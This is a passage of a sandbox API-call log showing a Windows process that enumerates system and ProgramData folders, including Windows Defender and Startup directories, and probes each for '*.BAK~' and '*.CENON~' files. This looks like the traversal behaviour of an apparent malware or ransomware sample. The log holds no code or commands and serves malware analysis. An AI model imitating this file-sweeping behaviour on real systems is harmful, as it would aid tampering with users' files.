hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.956] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.956] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.957] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.957] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.201] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.201] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.236] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.236] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.268] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.268] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.269] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.269] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.277] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.277] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.278] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.278] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.515] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.515] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.550] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.550] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.818] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.818] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.855] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.855] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.887] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.887] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.888] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.888] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.894] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.895] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.896] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.896] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.904] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.905] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.906] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.906] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.912] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.913] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.914] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.914] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.921] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.921] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.922] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.922] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.929] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.929] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.930] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.930] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.938] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.938] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.939] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.939] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.946] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.946] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.948] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.948] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.954] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.955] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.956] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.956] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.963] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.963] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.965] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.965] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.972] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.973] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.974] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.974] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.981] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.981] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.983] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\LocalCopy\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.983] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.989] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.990] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.991] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Quarantine\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.991] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.997] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.998] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.999] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0115.999] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.005] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.006] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.007] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.007] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.015] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.015] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.016] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\CacheManager\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.016] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.023] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.023] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.024] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.024] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.031] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.032] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.033] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Results\\Resource\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.033] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.041] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.041] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.042] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Service\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.042] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.048] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.049] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.050] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\History\\Store\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.050] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.057] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.057] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.058] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Support\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.058] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.065] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.066] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.067] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.067] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.331] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.331] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.367] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.367] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.398] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.398] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.399] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.399] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.406] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.406] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.407] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.407] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.414] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.414] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.415] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.415] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.421] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.421] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.422] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Inbox\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.422] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.429] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.429] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.430] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\Queue\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.430] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.436] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.436] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.437] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\SentItems\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.437] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.443] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.443] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.444] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.445] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.448] GetFileSize (in: hFile=0x1d8, lpFileSizeHigh=0x1ae418 | out: lpFileSizeHigh=0x1ae418*=0x0) returned 0x15dbe [0116.456] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0116.457] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 